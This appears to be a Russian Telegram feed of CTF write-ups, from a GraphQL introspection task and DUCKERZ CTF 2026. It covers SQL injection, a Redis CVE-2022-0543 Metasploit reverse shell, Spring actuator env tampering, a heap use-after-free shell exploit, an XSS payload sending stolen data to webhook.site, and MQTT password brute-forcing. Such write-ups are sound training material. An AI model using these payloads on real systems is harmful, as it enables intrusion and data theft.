Forwarded from InfoSec VK Hub
Всем привет!
А вот и финальный разбор в нашей серии! Последний пазл, флаг за который дал целых 400 очков. Иногда самая простая ошибка — оставить introspection в GraphQL — становится очень дорогой...
Persik ICO Writeup
Проверим включена ли introspection:
Из схемы составим query getEligibleUsers и получим список список адресов участников airdrop'а:
Выберем любой адрес и передадим его в checkAirdrop:
Опционально можно было использовать адрес администратора из admin query:
На этом серия разборов подходит к концу. Мы прошли путь от базовых уязвимостей до тонкостей GraphQL, где одна невыключенная настройка открыла доступ ко всей логике и данным сервиса. Этот таск — отличное напоминание: безопасность API часто ломается на самых простых вещах: забытых отладочных интерфейсах, излишней детализации ошибок или избыточных правах.
Предыдущие разборы серии:
1 часть
2 часть
3 часть
VK Security | Буст этому каналу
#разбор #CTF
А вот и финальный разбор в нашей серии! Последний пазл, флаг за который дал целых 400 очков. Иногда самая простая ошибка — оставить introspection в GraphQL — становится очень дорогой...
Persik ICO Writeup
category: web, points: 400
Airdrop токена Persik уже прошёл, а вы - опоздали ... но сервис хранит больше данных, чем должен!
Достаньте любой eligible-адрес и заберите флаг
После подключения кошелька видно, что для проверки участвует ли адрес в airdrop'е отсылается GraphQL query checkAirdrop на эндпойнт /graphql. Увидим, что по этому пути нам доступен GraphiQL.
Проверим включена ли introspection:
query { __schema { types { name kind fields { name type { name kind } } } } }
Из схемы составим query getEligibleUsers и получим список список адресов участников airdrop'а:
query GetEligibleUsers { getEligibleUsers { address tokensClaimed airdropEligible } }
Выберем любой адрес и передадим его в checkAirdrop:
query CheckAirdrop($addr: String!) { checkAirdrop(address: $addr) { address tokensClaimed airdropEligible flag } }
И получим флаг:
{
"data": {
"checkAirdrop": {
"address": "0x8ba1f109551bD432803012645aac136c22C19e00",
"tokensClaimed": 3000,
"airdropEligible": true,
"flag": "vkctf{edd3417a9eb5c85b361d196e504b05a0}"
}
}
}
Опционально можно было использовать адрес администратора из admin query:
query AdminInfo { admin { secretKey vaultAddr } }
На этом серия разборов подходит к концу. Мы прошли путь от базовых уязвимостей до тонкостей GraphQL, где одна невыключенная настройка открыла доступ ко всей логике и данным сервиса. Этот таск — отличное напоминание: безопасность API часто ломается на самых простых вещах: забытых отладочных интерфейсах, излишней детализации ошибок или избыточных правах.
Предыдущие разборы серии:
1 часть
2 часть
3 часть
VK Security | Буст этому каналу
#разбор #CTF
❤9 4
Forwarded from DUCKERZ
Соревнование DUCKERZ CTF 2026 официально началось! Желаем всем участникам удачи и успешного решения задач.
Please open Telegram to view this post
VIEW IN TELEGRAM
DUCKERZ
Всем привет! Живы? Я не очень, Дакерзы заставили попотеть
Как обычно, жду ваши райтапы после соревнования! @freenameruuuu
Мы обязательно выживем🪢
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Как обычно, жду ваши райтапы после соревнования! @freenameruuuu
Мы обязательно выживем
Please open Telegram to view this post
VIEW IN TELEGRAM
#duckerzctf2026 #Web
🏥 Клиника [клик]
Уязвимость Second-Order SQL Injection в обработчике /update-password. Хотя регистрация и вход используют параметризованные запросы, имя пользователя из сессии подставляется в SQL-запрос обновления пароля через обычную шаблонную строку.
Это позволяет использовать «отравленный» логин для атаки на базу данных. Регистрируем аккаунт с пейлоадом в качестве имени пользователя:
После входа под этим аккаунтом значение попадает в сессию. При смене пароля в настройках профиля сервер выполнит инъекцию: кавычка закроет поле username, а символы -- закомментируют остаток оригинального запроса.
В результате SQL-запрос изменит пароль не нам, а администратору:
Заходим под admin с новым паролем и забираем флаг в панели управления.
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
🏥 Клиника [клик]
Уязвимость Second-Order SQL Injection в обработчике /update-password. Хотя регистрация и вход используют параметризованные запросы, имя пользователя из сессии подставляется в SQL-запрос обновления пароля через обычную шаблонную строку.
Это позволяет использовать «отравленный» логин для атаки на базу данных. Регистрируем аккаунт с пейлоадом в качестве имени пользователя:
admin' --
После входа под этим аккаунтом значение попадает в сессию. При смене пароля в настройках профиля сервер выполнит инъекцию: кавычка закроет поле username, а символы -- закомментируют остаток оригинального запроса.
В результате SQL-запрос изменит пароль не нам, а администратору:
UPDATE users SET password = '[hash]' WHERE username = 'admin' --'
Заходим под admin с новым паролем и забираем флаг в панели управления.
Please open Telegram to view this post
VIEW IN TELEGRAM
#duckerzctf2026 #Misc
Редиска [клик]
Flask-приложение с Redis. Имитация старой системы "Enterprise Logic Pro 2000". Сразу обращаем внимание на версию Redis, используемую на сервере. Это Redis 5.0.7. Он не защищен паролем (
Эта версия Redis уязвима к CVE-2022-0543. Это критическая RCE-уязвимость в Redis для Debian и Ubuntu, позволяющая выполнить произвольный код на сервере через обход ограничений Lua-песочницы.
На сервере с белым IP открываем listener на 4444 порту
Получаем rev-shell на тачке с Redis. Флаг находится в корне
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Редиска [клик]
Flask-приложение с Redis. Имитация старой системы "Enterprise Logic Pro 2000". Сразу обращаем внимание на версию Redis, используемую на сервере. Это Redis 5.0.7. Он не защищен паролем (
requirepass пустой), что позволяет любому пользователю отправлять команды без аутентификации, но флага там нет.Эта версия Redis уязвима к CVE-2022-0543. Это критическая RCE-уязвимость в Redis для Debian и Ubuntu, позволяющая выполнить произвольный код на сервере через обход ограничений Lua-песочницы.
msfconsole
use exploit/linux/redis/redis_debian_sandbox_escape
На сервере с белым IP открываем listener на 4444 порту
nc -lvnp 4444
set RHOSTS 94.19.79.169
set RPORT 20004
unset PASSWORD
set LHOST 45.140.19.200
set LUA_LIB /usr/lib/x86_64-linux-gnu/liblua5.1.so.0
set ForceExploit true
Получаем rev-shell на тачке с Redis. Флаг находится в корне
cat ../../flag.txt
Please open Telegram to view this post
VIEW IN TELEGRAM
#duckerzctf2026 #Hardware
Заброшенный маяк [клик]
Открываем firmware.elf в IDA Pro. В окне Functions видим:
В окне Structures видим сегменты:
Исследование функции decrypt_flag:
Ключевые моменты:
- Чтение из EEPROM
- Операция XOR (eor инструкция)
- Ключ длиной 5 байт (делитель = 5)
Переходим к сегменту .data (адрес 0x800100):
Переходим к сегменту .eeprom (адрес 0x810000):
Написание скрипта для расшифровки:
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Заброшенный маяк [клик]
Открываем firmware.elf в IDA Pro. В окне Functions видим:
decrypt_flag (0x4B) — ключевая функция.
main (0x7D) — основная программа
eeprom_read_byte (0xDC) — чтение из EEPROM
В окне Structures видим сегменты:
.text — код программы
.data — данные (адрес 0x800100)
.eeprom — EEPROM данные (адрес 0x810000)
Исследование функции decrypt_flag:
.text:0000004B decrypt_flag: ; CODE XREF: main+F↓p
.text:0000004B push r12
.text:0000004C push r13
.text:0000004D push r14
.text:0000004E push r15
.text:0000004F push r16
.text:00000050 push r17
.text:00000051 push YL
.text:00000052 push YH
.text:00000053 movw r12:r13, r24:r25
.text:00000054 movw r16:r17, r24:r25
.text:00000055 ldi YL, 0
.text:00000056 ldi YH, 0
.text:00000057 mov r0, ZH
.text:00000058 ldi ZH, 5
.text:00000059 mov r14, ZH
.text:0000005A mov r15, r1
.text:0000005B mov ZH, r0
.text:0000005C
.text:0000005C loc_5C: ; CODE XREF: decrypt_flag+26↓j
.text:0000005C movw r24:r25, Y
.text:0000005D subi r24, 0
.text:0000005E sbci r25, 0
.text:0000005F call eeprom_read_byte
.text:00000061 mov r18, r24
.text:00000062 movw r24:r25, Y
.text:00000063 movw r22:r23, r14:r15
.text:00000064 call _div
.text:00000066 movw Z, r24:r25
.text:00000067 subi ZL, 0
.text:00000068 sbci ZH, -1
.text:00000069 ld r24, Z
.text:0000006A eor r24, r18
.text:0000006B movw Z, r16:r17
.text:0000006C st Z+, r24
.text:0000006D movw r16:r17, Z
.text:0000006E adiw Y, 1
.text:0000006F cpi YL, 0x1F
.text:00000070 cpc YH, r1
.text:00000071 brne loc_5C
.text:00000072 movw Z, r12:r13
.text:00000073 std Z+0x1F, r1
.text:00000074 pop YH
.text:00000075 pop YL
.text:00000076 pop r17
.text:00000077 pop r16
.text:00000078 pop r15
.text:00000079 pop r14
.text:0000007A pop r13
.text:0000007B pop r12
.text:0000007C ret
.text:0000007C ; End of function decrypt_flag
Ключевые моменты:
- Чтение из EEPROM
- Операция XOR (eor инструкция)
- Ключ длиной 5 байт (делитель = 5)
Переходим к сегменту .data (адрес 0x800100):
.data:00800100 xor_key: .db 0x37, 0x42, 0x15, 0x7A, 0x2F ;
Переходим к сегменту .eeprom (адрес 0x810000):
.eeprom:00810000 encrypted_flag: .db 0x73, 0x17, 0x56, 0x31, 0x6A, 0x65, 0x18, 0x6E, 0x3F
.eeprom:00810009 .db 0x6A, 0x67, 0x10, 0x25, 0x37, 0x70, 0x44, 0x31, 0x25
.eeprom:00810012 .db 8, 0x4A, 0x13, 0x1D, 0x22, 0x12, 0x6A, 0x68, 4, 0x79
.eeprom:0081001C .db 0x4E, 0x44, 0x4A, 0
Написание скрипта для расшифровки:
encrypted = bytes([
0x73, 0x17, 0x56, 0x31, 0x6A, 0x65, 0x18, 0x6E,
0x3F, 0x6A, 0x67, 0x10, 0x25, 0x37, 0x70, 0x44,
0x31, 0x25, 0x08, 0x4A, 0x13, 0x1D, 0x22, 0x12,
0x6A, 0x68, 0x04, 0x79, 0x4E, 0x44, 0x4A, 0x00
])
key = [0x37, 0x42, 0x15, 0x7A, 0x2F]
flag = ""
for i in range(31):
flag += chr(encrypted[i] ^ key[i % 5])
print(f"Flag: {flag}")
Please open Telegram to view this post
VIEW IN TELEGRAM
🔥6
#duckerzctf2026 #Forensics
💿 Врум-врум отменяется [клик]
Первым делом видим http запрос и возьмём его поток (рис. 1). Однако в нём нет и намёка на флаг, но мы знаем что пакеты будут в json формате, а значит можно воспользоваться поиском по слову.
Первым словом может быть DUCKERZ, но оно отсутствует, так что попробуем слово flag (рис. 2): Нашлась новая ручка /custom-message, в которой судя по всему побуквенно перечисляется флаг (custom_message_value).
Пробуем автоматизировать используя командную строку (рис. 3). И мы видим, что ничего лишнего не берётся. Воспользуемся awk и немного пошаманив получаем флаг:
Последним действием можно воспользоваться онлайн сервисом urldecode, или вручную поменять %7B и %7D на фигурные скобки
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Первым делом видим http запрос и возьмём его поток (рис. 1). Однако в нём нет и намёка на флаг, но мы знаем что пакеты будут в json формате, а значит можно воспользоваться поиском по слову.
Первым словом может быть DUCKERZ, но оно отсутствует, так что попробуем слово flag (рис. 2): Нашлась новая ручка /custom-message, в которой судя по всему побуквенно перечисляется флаг (custom_message_value).
Пробуем автоматизировать используя командную строку (рис. 3). И мы видим, что ничего лишнего не берётся. Воспользуемся awk и немного пошаманив получаем флаг:
strings VroomVroom.pcapng | grep flag | awk -F'=' '{ print $3 }' | awk -F'&' '{ print $1 }' | tr -d '\n'Последним действием можно воспользоваться онлайн сервисом urldecode, или вручную поменять %7B и %7D на фигурные скобки
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤3
#duckerzctf2026 #Web
🎫 Национальная лотерея [клик]
Приложение на Spring, в котором реализован функционал лотереи. Выигрышный билет неизвестен, и угадать его практически невозможно.
С помощью инструмента dirsearch можно найти открытый actuator.
Замечаем, что эндпоинты поддерживает POST запросы. Ответ на OPTIONS показывает:
Теперь нужно найти, какое свойство контролирует выигрышный билет. Логично предположить, что это lottery.winning.ticket. Далее можно просто заменить значение выигрышного билета в env на свой билет из профиля.
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Приложение на Spring, в котором реализован функционал лотереи. Выигрышный билет неизвестен, и угадать его практически невозможно.
С помощью инструмента dirsearch можно найти открытый actuator.
dirsearch -u "http://94.19.79.169:20001" -x 404
[03:17:49] 200 - 2KB - /actuator
[03:17:49] 200 - 5KB - /actuator/env
[03:17:49] 200 - 49B - /actuator/health
[03:17:49] 200 - 2B - /actuator/info
[03:17:49] 200 - 17KB - /actuator/configprops
[03:17:49] 200 - 2KB - /actuator/metrics
[03:17:49] 200 - 86KB - /actuator/conditions
[03:17:49] 200 - 54B - /actuator/scheduledtasks
[03:17:49] 200 - 21KB - /actuator/mappings
[03:17:49] 200 - 126KB - /actuator/beans
[03:17:49] 200 - 53KB - /actuator/loggers
[03:17:49] 200 - 124KB - /actuator/threaddump
Замечаем, что эндпоинты поддерживает POST запросы. Ответ на OPTIONS показывает:
Allow: GET, POST, OPTIONS. Это означает, что можно не только читать переменные окружения, но и изменять их.curl -X POST http://94.19.79.169:20001/actuator/env \
-H "Content-Type: application/json" \
-d '{"name":"test.property","value":"test123"}'
Теперь нужно найти, какое свойство контролирует выигрышный билет. Логично предположить, что это lottery.winning.ticket. Далее можно просто заменить значение выигрышного билета в env на свой билет из профиля.
curl -X POST http://94.19.79.169:20001/actuator/env \
-H "Content-Type: application/json" \
-d '{"name":"lottery.winning.ticket","value":"ticket-c79b6292"}'
Please open Telegram to view this post
VIEW IN TELEGRAM
❤2
#duckerzctf2026 #Reverse
💎 Кристально ясное задание [клик]
На вход дан ELF-файл crystal_clear, на быстрый взгляд видно, что он чем-то запакован, похоже на UPX. Качаем последний UPX и пробуем распаковать:
К сожалению получаем ошибку, проверим на обычные трюки по коррапту UPX'a (аналогично можно просто дампнуть бинарь в рантайме, что проще и не требует ничего восстанавливать, но так менее красиво смотреть на решение). Видим что upx magic value в хедере неверный, он не "UPX!", а "BOBA". Пробуем восстановить его заменив на UPX!, затем распаковать снова:
Нам повезло, всё распаковалось только поменяв magic value в хедере (ещё бы, таск ведь easy). Теперь смотрим на сам таск, оно просит нас инпут и затем выводит nope если инпут неверный. Найдём строку nope в IDA, и посмотрим референс на неё.
Как мы видим, XREF'ов на саму строку нет, но сверху, на полях информации (предполагается что библиотека/язык используют её как служебную инфу) есть xref, идём по нему и попадаем в main, на что-то типа проверки, отлично.
Как видим здесь v190 проверяется с v189, v190 берётся из unk_63ED0, а v189 - это наш инпут как-то преобразованный. Это единственный бренч в котором программа говорит nope. Что интересно, позже содержание v189 зачем-то используется, и после этого функция для вывода вызывается повторно. Что должно натолкнуть на мысль что то, что мы вводим не совсем флаг, да и длина сравниваемого всегда 32 байта, когда длина инпута неограничено, что значит функция преобразований - что-то в духе хэша или KDF, что вряд ли даст нам изначальную строку восстановить, так что попробуем пропатчить и понадеется на лучшее. Для этого поставим бряк перед IF'ом, и затем пропатчим v189 на содержание из v190. v189 находится как указатель в r12 на момент перед IF'ом, и сравнивается оно затем с:
По коду в проверке явно видим сравнение с числом 32, да и сам v189 похож на буффер в 32 байта судя по коду, значит вероятно эта строка - это шестнадцатеричное представление байт, а значит писать будем их в r12 как bytes.fromhex, для этого сделаем следующее, используя IDAPython (аналогично можно сделать в gdb):
После этого запустим программу дальше и посмотрим что произошло.
На вход дан ELF-файл crystal_clear, на быстрый взгляд видно, что он чем-то запакован, похоже на UPX. Качаем последний UPX и пробуем распаковать:
$ ./upx -d cc
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2026
UPX 5.1.0 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 7th 2026
File size Ratio Format Name
-------------------- ------ ----------- -----------
upx: cc: CantUnpackException: l_info corrupted
Unpacked 1 file: 0 ok, 1 error.
К сожалению получаем ошибку, проверим на обычные трюки по коррапту UPX'a (аналогично можно просто дампнуть бинарь в рантайме, что проще и не требует ничего восстанавливать, но так менее красиво смотреть на решение). Видим что upx magic value в хедере неверный, он не "UPX!", а "BOBA". Пробуем восстановить его заменив на UPX!, затем распаковать снова:
./upx -d cc
Ultimate Packer for eXecutables
Copyright (C) 1996 - 2026
UPX 5.1.0 Markus Oberhumer, Laszlo Molnar & John Reiser Jan 7th 2026
File size Ratio Format Name
-------------------- ------ ----------- -----------
589112 <- 192360 32.65% linux/amd64 cc
Unpacked 1 file
Нам повезло, всё распаковалось только поменяв magic value в хедере (ещё бы, таск ведь easy). Теперь смотрим на сам таск, оно просит нас инпут и затем выводит nope если инпут неверный. Найдём строку nope в IDA, и посмотрим референс на неё.
Как мы видим, XREF'ов на саму строку нет, но сверху, на полях информации (предполагается что библиотека/язык используют её как служебную инфу) есть xref, идём по нему и попадаем в main, на что-то типа проверки, отлично.
Как видим здесь v190 проверяется с v189, v190 берётся из unk_63ED0, а v189 - это наш инпут как-то преобразованный. Это единственный бренч в котором программа говорит nope. Что интересно, позже содержание v189 зачем-то используется, и после этого функция для вывода вызывается повторно. Что должно натолкнуть на мысль что то, что мы вводим не совсем флаг, да и длина сравниваемого всегда 32 байта, когда длина инпута неограничено, что значит функция преобразований - что-то в духе хэша или KDF, что вряд ли даст нам изначальную строку восстановить, так что попробуем пропатчить и понадеется на лучшее. Для этого поставим бряк перед IF'ом, и затем пропатчим v189 на содержание из v190. v189 находится как указатель в r12 на момент перед IF'ом, и сравнивается оно затем с:
d0a7cd04c00a420d2f24a82f6ab8e16a5944334c6b69b53ebbf6771cc65b993aПо коду в проверке явно видим сравнение с числом 32, да и сам v189 похож на буффер в 32 байта судя по коду, значит вероятно эта строка - это шестнадцатеричное представление байт, а значит писать будем их в r12 как bytes.fromhex, для этого сделаем следующее, используя IDAPython (аналогично можно сделать в gdb):
idc.write_dbg_memory(idc.get_reg_value('r12'), bytes.fromhex('d0a7cd04c00a420d2f24a82f6ab8e16a5944334c6b69b53ebbf6771cc65b993a'))После этого запустим программу дальше и посмотрим что произошло.
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
❤15
#duckerzctf2026 #PWN
🤱 Девочка-волшебница [клик]
Нам дан классически таск на заметки. Мы можем создавать страницу, в которой можем создавать, редактировать, смотреть и удалять записи. Про функционал страниц сразу же забываем, он существует для отвода глаз и потому что в начале была крутая идея, но не воспользовался. Наша задача получить rce.
Уязвимость
Невооруженным взглядом можно обнаружить багу, при удалении записи, соответсвующий указатель не зануляется.
План
Это значит, что мы можем освободить запись и все равно писать и читать из нее. Проще всего это взломать, создав страницу с контентом размера структуры (
Сетап
Аллоцируем страницу. Аллоцируем запись размера 0x10, освобождаем ее. Аллоцируем вторую страницу размера 0x10.
Теперь `entries[0].content == entries[1]
Лик хипы
Для начала нам нужно получить хоть какой то адрес. Для этого прочитаем запись
Arbitrary read
Теперь мы можем написать в
Лик либцы, стека, бинаря
Хотелось бы получить адрес либси. Для этого воспользуемся известной техникой: аллоцируем чанк в ансортед бин (любой чанк размера больше 0x511) и в нем появится указатель на либси. Теперь просто посчитаем оффсет до этого адреса и прочитаем его через arbitrary_read. Далее через другую известную технику ликаем адрес стека из
Взлом
Самый простой способ получить шел: вызвать
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Нам дан классически таск на заметки. Мы можем создавать страницу, в которой можем создавать, редактировать, смотреть и удалять записи. Про функционал страниц сразу же забываем, он существует для отвода глаз и потому что в начале была крутая идея, но не воспользовался. Наша задача получить rce.
Уязвимость
Невооруженным взглядом можно обнаружить багу, при удалении записи, соответсвующий указатель не зануляется.
/*
* ♪ Удаляю записечку - прощай, старый секретик! ♪
* Освобождаю память заклинанием free~
*/
void delete_entry(int page_number) {
int entry_number;
printf("Какую записечку стереть? ♪ ");
scanf("%d", &entry_number);
if (entry_number < 0 || entry_number >= 32) {
puts("Нет такой записечки! ╮(╯_╰)╭");
return;
}
if (Diary.pages[page_number]->entries[entry_number] == NULL) {
puts("Тут и так ничего нет, глупышка~ (≧◡≦)");
return;
}
free(Diary.pages[page_number]->entries[entry_number]->content); /* Освобождаю память! */
free(Diary.pages[page_number]->entries[entry_number]);
}
План
Это значит, что мы можем освободить запись и все равно писать и читать из нее. Проще всего это взломать, создав страницу с контентом размера структуры (
0x10), тогда мы сможем прочитать содержимое освобожденного чанка и переписать указатель в структуре, что позволит нам писать и читать в/на произвольные адреса.Сетап
Аллоцируем страницу. Аллоцируем запись размера 0x10, освобождаем ее. Аллоцируем вторую страницу размера 0x10.
create_entry(io, 1, 0x10, b"x")
time.sleep(0.1)
delete_entry(io, 1)
time.sleep(0.1)
create_entry(io, 0, 0x10, b"x")
Теперь `entries[0].content == entries[1]
Лик хипы
Для начала нам нужно получить хоть какой то адрес. Для этого прочитаем запись
0, мы увидим там нечто похоже на адрес(последний байт мы переписали). Это так называемый [mangled adress](https://book.hacktricks.wiki/en/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.html). Не думаем, гуглим и находим [репу](https://github.com/mdulin2/mangle) для восстановления адреса.Arbitrary read
Теперь мы можем написать в
entries[0].content, переписать указатель на content и size и прочитать/записать в/на entries[1]def arbitrary_read(addr: int) -> int:
edit_entry(io, 0, p64(8) + p64(addr))
time.sleep(0.1)
res = u64(read_entry(io, 1)[:8])
time.sleep(0.1)
return res
def arbitrary_write(addr: int, data: bytes) -> int:
edit_entry(io, 0, p64(len(data)) + p64(addr))
time.sleep(0.1)
edit_entry(io, 1, data)
time.sleep(0.1)
Лик либцы, стека, бинаря
Хотелось бы получить адрес либси. Для этого воспользуемся известной техникой: аллоцируем чанк в ансортед бин (любой чанк размера больше 0x511) и в нем появится указатель на либси. Теперь просто посчитаем оффсет до этого адреса и прочитаем его через arbitrary_read. Далее через другую известную технику ликаем адрес стека из
environ, затем со стека ликаем адрес самого бинаря.Взлом
Самый простой способ получить шел: вызвать
system("/bin/sh"), для этого перешем plt free на system и освободим запись с текстом "/bin/sh\x00".Please open Telegram to view this post
VIEW IN TELEGRAM
❤8😱5 3
#duckerzctf2026 #Web
🥪 Сэндвич 2 [клик]
Автор: @fakedesyncc
Расшифровка текста: Trust no iframe, even your own — подсказка в самом флаге.
---
## Суть уязвимости
1. На сайте sandwich.duckerz.ru есть виджет обратной связи — iframe с feedback.duckerz.ru/widget.
2. Родительская страница (sandwich) и виджет (iframe) общаются через postMessage.
3. Виджет может отправить родителю сообщение
4. В виджете можно выполнить свой код (XSS), если удаётся вставить его в контент, который там рендерится. Один из способов — отправить Complaint (жалобу) через API feedback с HTML/JS в поле
5. Скрипт: подписаться на
---
## Шаги решения
### 1. Создать webhook
- Зайти на https://webhook.site и скопировать свой уникальный URL (или создать токен).
### 2. Подготовить XSS-пейлоад
Код должен выполняться внутри iframe виджета (origin feedback.duckerz.ru):
- Слушать событие
- Если
- Отправить родителю
Пример (подставить свой WEBHOOK):
Однострочник для отправки через API:
### 3. Отправить пейлоад в обратную связь (не в note перевода)
- Эндпоинт: POST http://feedback.duckerz.ru/api/feedback
- Тело (JSON):
Важно: отправлять именно в обратную связь (Complaint/Bug Report), чтобы сообщение отображалось в виджете (iframe). В note перевода контент показывается на дашборде sandwich (родитель), а ответ с salary приходит в iframe — перехватить там из note нельзя.
### 4. Дождаться выполнения
Когда жалоба будет открыта в интерфейсе, где контент рендерится внутри виджета (iframe feedback), выполнится наш скрипт: уйдёт запрос к родителю, придёт
### 5. Забрать флаг с webhook
В запросе к webhook в параметре flag (или в теле) будет JSON с payload. В нём — флаг
---
## Пример через curl
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
🥪 Сэндвич 2 [клик]
Автор: @fakedesyncc
Расшифровка текста: Trust no iframe, even your own — подсказка в самом флаге.
---
## Суть уязвимости
1. На сайте sandwich.duckerz.ru есть виджет обратной связи — iframe с feedback.duckerz.ru/widget.
2. Родительская страница (sandwich) и виджет (iframe) общаются через postMessage.
3. Виджет может отправить родителю сообщение
{ type: 'REQUEST_SALARY_DATA' }, и родитель отвечает сообщением { type: 'SALARY_DATA', payload: ... } с данными зарплаты (и флагом).4. В виджете можно выполнить свой код (XSS), если удаётся вставить его в контент, который там рендерится. Один из способов — отправить Complaint (жалобу) через API feedback с HTML/JS в поле
message. Когда эта жалоба отображается в контексте виджета, выполняется наш скрипт.5. Скрипт: подписаться на
message, отправить родителю REQUEST_SALARY_DATA, в ответ принять SALARY_DATA и отправить payload на свой webhook.---
## Шаги решения
### 1. Создать webhook
- Зайти на https://webhook.site и скопировать свой уникальный URL (или создать токен).
### 2. Подготовить XSS-пейлоад
Код должен выполняться внутри iframe виджета (origin feedback.duckerz.ru):
- Слушать событие
message.- Если
e.data.type === 'SALARY_DATA' — отправить e.data.payload на webhook.- Отправить родителю
parent.postMessage({ type: 'REQUEST_SALARY_DATA' }, '*'), чтобы запросить данные.Пример (подставить свой WEBHOOK):
<img src=x onerror="
window.addEventListener('message', function(e) {
if (e.data.type === 'SALARY_DATA') {
fetch('https://WEBHOOK.site/ТВОЙ-UUID?flag=' + encodeURIComponent(JSON.stringify(e.data.payload)));
}
});
parent.postMessage({ type: 'REQUEST_SALARY_DATA' }, '*');
">
Однострочник для отправки через API:
<img src=x onerror="window.addEventListener('message',function(e){if(e.data.type==='SALARY_DATA')fetch('https://WEBHOOK?flag='+encodeURIComponent(JSON.stringify(e.data.payload)))});parent.postMessage({type:'REQUEST_SALARY_DATA'},'*');">
### 3. Отправить пейлоад в обратную связь (не в note перевода)
- Эндпоинт: POST http://feedback.duckerz.ru/api/feedback
- Тело (JSON):
{"category":"complaint","rating":1,"message":"<твой HTML с img onerror>"}
Важно: отправлять именно в обратную связь (Complaint/Bug Report), чтобы сообщение отображалось в виджете (iframe). В note перевода контент показывается на дашборде sandwich (родитель), а ответ с salary приходит в iframe — перехватить там из note нельзя.
### 4. Дождаться выполнения
Когда жалоба будет открыта в интерфейсе, где контент рендерится внутри виджета (iframe feedback), выполнится наш скрипт: уйдёт запрос к родителю, придёт
SALARY_DATA, данные уйдут на webhook.### 5. Забрать флаг с webhook
В запросе к webhook в параметре flag (или в теле) будет JSON с payload. В нём — флаг
---
## Пример через curl
WEBHOOK="https://webhook.site/ТВОЙ-UUID"
PAYLOAD='<img src=x onerror="window.addEventListener(\'message\',function(e){if(e.data.type===\'SALARY_DATA\')fetch(\''"$WEBHOOK"'?flag=\'+encodeURIComponent(JSON.stringify(e.data.payload)))});parent.postMessage({type:\'REQUEST_SALARY_DATA\'},\'*\');">'
curl -X POST "http://feedback.duckerz.ru/api/feedback" \
-H "Content-Type: application/json" \
-d '{"category":"complaint","rating":1,"message":"'"$PAYLOAD"'"}'
Please open Telegram to view this post
VIEW IN TELEGRAM
❤8
#duckerzctf2026 #Hardware
Утёнок в тумане [клик]
Автор: @hun7_0r_b3_hun73d
В задаче нам дается ссылка
1. Подключаемся к прослушиванию при помощи любого MQTT‑клиента. Я использовал mosquitto.
MQTT работает по модели Publish‑Subscribe. То есть одни сущности публикуют информацию в конкретные топики, а другие могут получать эту информацию, подписавшись на нужный топик.
Также в нем есть Wildcard‑топик (
Команда выше как раз выполняет подписку на все топики, которые есть в брокере.
2. Слушаем трафик. Пример того, что будет видно после подписки:
Мы видим какие‑то данные датчиков + сообщение от утки, которая ищет пользователя duck_fan и говорит, что есть секрет в
3. Из предыдущего шага можно понять имя пользователя, который нам нужен.
Если мы попробуем авторизоваться (при помощи флага
Можно подобрать его подобной командой:
В ответ получим, что пароль — iloveyou.
4. Авторизуемся с этим паролем:
и получаем флаг.
Шаги 3–4 показаны на скриншоте.
💬 Канал & Чат | 📺 RUTUBE | 📺 YouTube
Утёнок в тумане [клик]
Автор: @hun7_0r_b3_hun73d
В задаче нам дается ссылка
mqtt://94.19.79.169:20012
1. Подключаемся к прослушиванию при помощи любого MQTT‑клиента. Я использовал mosquitto.
Команда:mosquitto_sub -h 94.19.79.169 -p 20012 -t '#' -v
MQTT работает по модели Publish‑Subscribe. То есть одни сущности публикуют информацию в конкретные топики, а другие могут получать эту информацию, подписавшись на нужный топик.
Также в нем есть Wildcard‑топик (
#), который позволяет подписаться на все доступные топики. Команда выше как раз выполняет подписку на все топики, которые есть в брокере.
2. Слушаем трафик. Пример того, что будет видно после подписки:
/sensors/humidity/data {"sensor": "humidity", "value": 28, "timestamp": 1770496341}
/sensors/pressure/data {"sensor": "pressure", "value": 20, "timestamp": 1770496342}
/sensors/humidity/data {"sensor": "humidity", "value": 22, "timestamp": 1770496348}
/announcements {"from": "Duck", "message": "duck_fan, where are you? quack!", "timestamp": 1770496349}
/sensors/pressure/data {"sensor": "pressure", "value": 27, "timestamp": 1770496349}
/sensors/humidity/data {"sensor": "humidity", "value": 22, "timestamp": 1770496353}
/sensors/pressure/data {"sensor": "pressure", "value": 30, "timestamp": 1770496378}
/announcements {"from": "Duck", "message": "i'm in /users/duck/secret", "timestamp": 1770496379}
/sensors/pressure/data {"sensor": "pressure", "value": 27, "timestamp": 1770496385}
Мы видим какие‑то данные датчиков + сообщение от утки, которая ищет пользователя duck_fan и говорит, что есть секрет в
/users/duck/secret.3. Из предыдущего шага можно понять имя пользователя, который нам нужен.
Если мы попробуем авторизоваться (при помощи флага
-u duck_fan), брокер укажет на необходимость введения пароля. Можно подобрать его подобной командой:
ncrack mqtt://94.19.79.169:20012 -user duck_fan -P ./rockyou.txt -v
В ответ получим, что пароль — iloveyou.
4. Авторизуемся с этим паролем:
-u 'duck_fan' -P 'iloveyou'
и получаем флаг.
Шаги 3–4 показаны на скриншоте.
Please open Telegram to view this post
VIEW IN TELEGRAM
1🔥11❤9😱2 2
Forwarded from TaipanByte CTF
TaipanByte’s Chart CTF уже через 2 дня!🤩
В эту субботу начинается TaipanByte’s Chart CTF - онлайн соревнование в области информационной безопасности, открытое для всех желающих.
🟣 Формат task-based
🟣 Команды от 1 до 5 человек
🟣 Время проведения с 13:00 14 февраля по 13:00 15 февраля (МСК).
Успейте зарегистрировать команду!⚠️
Регистрация будет прекращена 14 февраля 2026 в 13:00 МСК вместе с началом соревнований.
Важные моменты:
🟡 Задания ориентированы преимущественно на новичков.
🟡 Каждый участник с ненулевым результатом получит сертификат об участии в соревновании.
🟡 Каждое задание будет доступно сразу на 2 языках. Русском и английском.
🟡 Призовой фонд - 30 000₽ к вашим выплатам на Standoff Bugbouny
➡️ Место проведения
➡️ Техническая поддержка
📱 Канал |🐍 CTF Платформа
